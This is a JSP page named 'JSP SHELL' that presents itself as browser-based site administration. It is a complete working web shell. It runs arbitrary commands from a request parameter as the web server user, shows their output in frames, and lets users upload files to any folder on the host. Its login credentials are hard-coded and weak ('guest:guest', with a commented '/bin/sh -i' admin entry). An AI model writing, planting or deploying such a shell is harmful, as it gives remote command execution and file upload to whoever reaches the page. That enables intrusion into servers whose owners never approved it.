<jsp:useBean id="cmd" scope="session" class="universal.SHELLcommand"/>
<%
// Edit the list below to add/remove to the list of autorized users
// (username:password:allow file transfer(yes/no):shell).
// The username and password have no relationship with the host accounts.
String accounts[]={
// **********************************************************************************
   "guest:guest:no:cat -n",
// "admin:apassword:yes:/bin/sh -i",
// "operator:opassword:no:/usr/bin/mysql -f -n -u Dbuser DBBANE",
// **********************************************************************************
   ""
};

String opt=request.getParameter("OPTION");
String cmdstr=request.getParameter("COMMAND");
String message="User Authentication";
boolean upload=false;
boolean distinct=false;
String p=null;
if ((p=request.getParameter("DISTINCT"))!=null && p.equals("1")) distinct=true;
if (opt==null) opt="";
if (cmdstr==null) cmdstr="";

String helpstr="<html><b><center>JSP SHELL HELP</center></b><p>\n" +
"JSP SHELL gives you full site administration capabilities right from the browser.\n" +
"Once authenticated, you get a shell prompt right inside the browser (or as close as\n" +
"it can possibly get). Additionally, you get a file upload option.<p>\n" +
"It works as a substitute for telnet and ftp. You may find it useful under the following\n" +
"situations-<p>\n" +
"<ol>" +
"<li>Your ISP does not provide you a telnet at all.</li>\n" +
"<li>You need to manage your site frequently from behind a firewall or proxy, where\n" +
"running a telnet or a ftp is not possible.</li>\n" +
"</ol>" +
"Please note the following important points-\n" +
"<ol>\n" +
"<li>You need a login and password to access JSP shell.</li>\n" +
"<li>The login information is not same as your machine login.</li>\n" +
"<li>The account information for access to JSP SHELL is hard-coded in the script itself.\n" +
"If you need access, check with your administrator.</li>\n" +
"<li>Once logged in, the shell runs as the same user as your Java web server.</li>\n" +
"<li>The shell used for interacting can be configured for each user (normally sh).</li>\n" +
"<li>The top frame is for entering commands, the middle frame is the command output and the lower\n" +
"frame is the command error.</li>\n" +
"<li>You can type any command that you type on a login shell, including the once that\n" +
"require input from stdin. You cannot however run commands that require the terminal such as\n" +
"vi</li>\n" +
"<li>When using commands that require stdin, you need to use << redirector to set an EOF\n" +
"marker. There is no way to signal EOF from the interface. If you use this, then subsequent\n" +
"lines entered in the command are passed in as the stdin. You must the EOF marker also in\n" +
"the command line to return back to shell.</li>\n" +
"<li>Sometimes if the output that is produced takes more time, if may not be fully displayed.\n" +
"To flush any output from the server, send an empty command.</li>\n" +
"</ol>\n" ;

response.setIntHeader("Expires",0);
if (opt.equalsIgnoreCase("HELP")) {
%><html><%= helpstr %></html><%
} else if (opt.equalsIgnoreCase("LOGOUT")) {
   cmd.Stop();
   cmd.setShell("");
} else if (opt.equalsIgnoreCase("LOGIN")) {
   cmd.Stop();
   cmd.setShell("");
   for (int i=0; i<accounts.length; i++) {
      String u="", pa="", f="", s="";
      java.util.StringTokenizer stok=new java.util.StringTokenizer(accounts[i],":");
      if (stok.hasMoreTokens()) u=stok.nextToken();
      if (stok.hasMoreTokens()) pa=stok.nextToken();
      if (stok.hasMoreTokens()) f=stok.nextToken();
      if (stok.hasMoreTokens()) s=stok.nextToken();
      if (cmdstr.equals(u + ":" + pa)) {
         if (f.equalsIgnoreCase("YES")) upload=true;
         cmd.setShell(s);
         opt="MAIN"; break;
      }
   }
   if (cmd.getShell().length()==0) message="Authentication failed.";
}
if (cmd.getShell().length()>0 && opt.length()==0) opt="MAIN";
if (cmd.getShell().length()==0 && !opt.equals("HELP")) { %>
<html>
<head>
<title>Administer your JSP and UNIX sites from the browser!</title>
</head><body style="background-color: white; font-size: 13px; font-face: helvetica;">
<center><b>Browser-based JSP/UNIX site administration.</b></center><p>
<form method=POST action=JSPshell.jsp onSubmit="this.COMMAND.value=this.USER.value+':'+this.PASS.value">
<input type=hidden name=OPTION value="LOGIN">
<input type=hidden name=COMMAND value="">
<table border=0 cellspacing=0 cellpadding=0 width=100%>
<tr><td colspan=2><b><%= message %></b></td></tr>
<tr><td>Username</td>
<td><input name=USER></td>
<td rowspan=2><input type=submit value=Authenticate></td>
</tr>
<tr><td>Password</td>
<td><input type=password name=PASS></td></tr>
</table>
</form><hr>
<%= helpstr %>
</body></html>
<%
} else if (opt.equalsIgnoreCase("MAIN")) {
   cmd.Init();
%>
<html><frameset rows=80,*,15% border=1 marginheight=0 topmargin=0>
<frame name=CONTROL scrolling=no frameborder=0 src="JSPshell.jsp?OPTION=RUN">
<frame name=OUT src="JSPshell.jsp?OPTION=STDOUT">
<frame name=ERR src="JSPshell.jsp?OPTION=STDERR">
</frameset></html>
<%
} else if (opt.equalsIgnoreCase("RUN") && !cmd.getState().equals("READY")) {
   cmd.setShell("");
%><html><body onLoad="window.parent.document.location.replace('JSPshell.jsp')"></body></html><%
} else if (opt.equalsIgnoreCase("RUN")) {
	cmd.Run(cmdstr, distinct);
%>
<html>
<head>
<script language=JavaScript>
function r(f) {
	f.COMMAND.value=f.HISTORY.options[f.HISTORY.selectedIndex].text
}
function upload() {
	w=window.open("", "Upload",
		"menubar=no,toolbar=no,directories=no,width=550,height=150");
	w.focus(); doc=w.document; doc.clear(); doc.open(); doc.writeln('<html>');
	doc.writeln('<form method=POST action=JSPupload.jsp ENCTYPE="multipart/form-data">');
	doc.writeln('<table width=100% border=0 cellspacing=0 cellpadding=0>');
	doc.writeln('<tr><td align=middle colspan=2><b>JSP SHELL: File Upload (Max 5MB)</b></td></tr>');
	doc.writeln('<tr><td><b>File</b></td><td><input type=file name=upload size=40></td></tr>');
	doc.writeln('<tr><td nowrap><b>Destination Folder on Host&nbsp;&nbsp;</b></td>');
	doc.writeln('<td><input type=text name=LOCATION size=30></td></tr>');
	doc.writeln('<tr><td align=middle colspan=2><input type=submit value=Upload></td></tr>');
	doc.writeln('</table></form></html>');
	doc.close();
}
</script>
</head>
<body onLoad="o=parent.frames['OUT'].document.location;e=parent.frames['ERR'].document.location;o.replace('JSPshell.jsp?OPTION=STDOUT');e.replace('JSPshell.jsp?OPTION=STDERR');document.forms[0].COMMAND.focus();">
<form action=JSPshell.jsp>
<input name=OPTION type=hidden value=RUN>
<table border=0 cellspacing=0 cellpadding=0 width=100%>
<tr><td><b>History</b></td><td>
<select name=HISTORY onFocus=r(this.form) onChange(this.form)=r()><%= cmd.historyAsHTML() %></select>
<input type=checkbox name=DISTINCT value=1 <%= (distinct?"checked":"") %>> Distinct
</td>
<td><b>Shell is</b> <%= cmd.getShell() %></td></tr>
<tr><td><b>Command</b></td><td><input name=COMMAND size=50>
<input type=button value=Run onClick=submit()></td>
<td>
<% if (upload) { %>
<a href=javascript:upload()>Upload File</a>&nbsp;&nbsp;
<% } else { %>
<font color=red>Cannot Upload File</font>&nbsp;&nbsp;
<% } %>
<a href=JSPshell.jsp?OPTION=LOGOUT target=_top>Logout</a>&nbsp;&nbsp;
<a href=JSPshell.jsp?OPTION=HELP target=_new>Help</a>
</td></tr>
</table></form></body></html>
<%
} else if (opt.equalsIgnoreCase("STDOUT")) {
%><html><pre><%
   cmd.Stdout(out);
%></pre></body></html><%
} else if (opt.equalsIgnoreCase("STDERR")) {
%><html><pre><%
   cmd.Stderr(out);
%></pre></html><%
}
%>
